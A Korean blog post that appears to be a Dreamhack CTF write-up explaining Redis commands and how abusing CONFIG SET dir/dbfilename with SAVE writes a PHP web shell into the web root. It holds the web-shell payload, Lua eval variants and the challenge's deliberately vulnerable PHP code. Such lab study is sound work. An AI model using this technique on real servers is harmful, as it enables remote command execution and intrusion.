Redis 명령어
- 데이터 조작 명령어
GET | GET key | 데이터 조회 |
MGET | MGET key [key ...] | 여러 데이터를 조회 |
SET | SET key value | 새로운 데이터 추가 |
MSET | MSET key value [key value ...] | 여러 데이터를 추가 |
DEL | DEL key [key ...] | 데이터 삭제 |
EXISTS | EXISTS key [key ...] | 데이터 유무 확인 |
- php에서 데이터 조작 명령어 사용하는 방법
1. get(), set() 함수 이용
$redis = new Redis();
$redis->connect($REDIS_HOST);
$key = "test_key";
$val = "test_val";
$redis->set($key, $val); # SET $key $val
echo $redis->get($key); # GET $key
2. eval() 함수 이용하여 Lua 스크립트 실행
- Redis는 내장 Lua 인터프리터를 가지고 있어 eval()로 전달된 스크립트 해석하여 동작함
- 문법은 여기(https://docs.w3cub.com/redis/eval)서 참고
$redis = new Redis();
$redis->connect($REDIS_HOST);
$ret = json_encode($redis->eval("return redis.call('set','foo','bar')"));
$ret2 = json_encode($redis->eval("return redis.call('get','foo')")); // returns "bar"
$ret3 = json_encode($redis->eval("return 10")); // returns 10
- DBMS 관리 명령어
INFO | INFO [section] | DBMS 정보 조회 |
CONFIG GET | CONFIG GET parameter | 설정 조회 |
CONFIG SET | CONFIG SET parameter value | 새로운 설정을 입력 |
- php에서 DBMS 관리 명령어 사용하는 방법
1. config() 함수 이용
$redis = new Redis();
$redis->connect($REDIS_HOST);
$ret = json_encode($redis->config('GET', $_POST['key']));
$ret2 = $redis->config('SET', $_POST['key'], $_POST['value']);
- 'Get or Set the Redis server configuration parameters' , 즉 서버 설정값들을 가져오거나 세팅하기 위한 함수.
- SET vs CONFIG SET
SET test minseo
=> (key: test, value: minseo) 인 데이터를 새로 추가
CONFIG SET test minseo
=> Redis 서버의 설정을 가져오거나 변경하는데 사용되는 함수
=> 'test' 라는 이름의 설정값이 없으므로 실행 시 오류 발생
SAVE를 이용한 Redis 공격 시나리오
- Redis는 메모리에 데이터를 저장하는 인 메모리(In-Memory) 데이터베이스이다.
- 휘발성이라는 메모리의 특징 때문에 종료 시 데이터가 유실되는데, 이러한 점을 보완하기 위해 RDB(Redis DB) 라는 백업 방식을 제공한다 (AOF도 있음)
- 데이터 손실 방지를 위해 일정 시간마다 .rdb 확장자를 가진 메모리 데이터를 파일 시스템에 저장한다
- Redis는 명령어를 이용해 메모리 데이터를 저장하는 파일의 저장 주기를 지정하거나 즉시 저장할 수 있으며 저장되는 파일의 경로와 이름, 그리고 저장할 데이터를 함께 설정할 수 있다.
설정 항목 | 설정값 | 설명 |
save | 100 0 | 100초 동안 0개의 쓰기 발생 시 디스크에 데이터 복제 (즉시 저장) |
save | 300 10 | 300초(3분) 동안 10개의 쓰기 발생 시 디스크에 데이터 복제(저장) |
save | 60 10000 | 60초 동안 10,000개의 쓰기 발생 시 디스크에 데이터 복제(저장) |
dbfilename | dump.rdb | 메모리 데이터 파일명 (기본적으로 dump.rdb) |
dir | ./ | dump.rdb 파일 저장 위치 |
- 공격 시나리오: 메모리 데이터 파일의 저장 경로, 이름, 내부 데이터를 임의로 조작하여 웹쉘 업로드하는 것
- 메모리 스냅샷 파일을 웹쉘처럼 사용하는 것이 핵심
CONFIG set dir /tmp
CONFIG set dbfilename exploit.php
SET test "<?php system($_GET['cmd']); ?>"
SAVE 60 0
eval 'redis.call("config", "set", "dir", "/var/www/html/data/");
redis.call("config", "set", "dbfilename", "exploit.php");
redis.call("set", "test", "<?php system($_GET[cmd]); ?>");' 0
save
// <?php system($_GET['cmd']); ?> 를 포함한 DUMMY 데이터들이 /tmp/exploit.php 에 저장될 것.
// 두 번째 방식처럼 eval 함수를 이용해도 된다
cf) /var/www/html 이란 무엇인가
- /var/www/html is just the default root folder of the web server
- 아파치 서버의 기본 웹페이지 소스는 /var/www/html/index.html 파일이라고 한다
문제 분석
- index.php 일부
<?php
if(isset($_POST['cmd'])){
$redis = new Redis();
$redis->connect($REDIS_HOST);
$ret = json_encode($redis->eval($_POST['cmd']));
echo '<h1 class="subtitle">Result</h1>';
echo "<pre>$ret</pre>";
if (!array_key_exists('history_cnt', $_SESSION)) {
$_SESSION['history_cnt'] = 0;
}
$_SESSION['history_'.$_SESSION['history_cnt']] = $_POST['cmd'];
$_SESSION['history_cnt'] += 1;
if(isset($_POST['save'])){
$path = './data/'. md5(session_id());
$data = '> ' . $_POST['cmd'] . PHP_EOL . str_repeat('-',50) . PHP_EOL . $ret;
file_put_contents($path, $data);
echo "saved at : <a target='_blank' href='$path'>$path</a>";
}
}
?>
POST로 전달된 data를 $redis->eval()에 넣어 결과값 출력
save 옵션 체크 시 localhost/data/[파일명] 에 결과 저장
입력한 커맨드는 SESSION history_n 변수에 저장되어 화면 하단에 리스트로 출력
- config.php 일부
<?php
if(isset($_POST['option'])){
$redis = new Redis();
$redis->connect($REDIS_HOST);
if($_POST['option'] == 'GET'){
$ret = json_encode($redis->config($_POST['option'], $_POST['key']));
}elseif($_POST['option'] == 'SET'){
$ret = $redis->config($_POST['option'], $_POST['key'], $_POST['value']);
}else{
die('error !');
}
echo '<h1 class="subtitle">Result</h1>';
echo "<pre>$ret</pre>";
}
?>
$redis->config()로 서버 설정값을 조회하고 수정할 수 있음
문제 풀이
문제 환경의 설정값 살펴보니 메모리 데이터 파일이 dump.rdb라는 이름으로 /var/www/html 에 저장되고 있었다
또 {"save":"3600 1 300 100 60 10000"} 로 저장 주기가 널널하게 세팅되어있었다.
이렇게 php 파일로 이름을 변경하고
이렇게 저장 주기를 변경하고 (즉시 저장)
인덱스 페이지로 넘어가서 Lua script를 이용해 메모리에 쉘스크립트를 남긴다
수정사항이 발생했으므로 "~~~/exploit.php" 에 스냅샷이 떠질 것
return "<?php system($_GET['cmd']); ?>"
// 이렇게 입력해도 잘 동작하나, /index.php 에서든 /config.php에서든 SET을 이용한 수정이 이루어져야 그제서야 exploit.php가 생성되더라
~~dreamhack.games:18399/exploit.php 에 접속하면 위와 같은 메시지 뜬다. 딱 봐도 argument로 건네진 cmd가 없어서 빈 커맨드를 실행했다는 warning이다
# FLAG
#COPY ./flag /flag
도커파일에 따르면 서버의 /flag 에 플래그 파일이 복사되었다고 한다
?cmd=file /flag 로 플래그 파일의 정보를 leak 했더니 실행파일이란다
?cmd=/flag 로 실행파일 실행했더니 플래그 구해진다
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] Command Injection Advanced (0) | 2023.07.15 |
---|---|
Linux Command Injection Technique 정리 (0) | 2023.07.15 |
[Dreamhack Wargame] NoSQL-CouchDB (0) | 2023.07.15 |
[Dreamhack Wargame] SQL Injection Bypass WAF 1, 2 (0) | 2023.07.15 |
[Dreamhack Wargame] Error Based SQL Injection (0) | 2023.07.14 |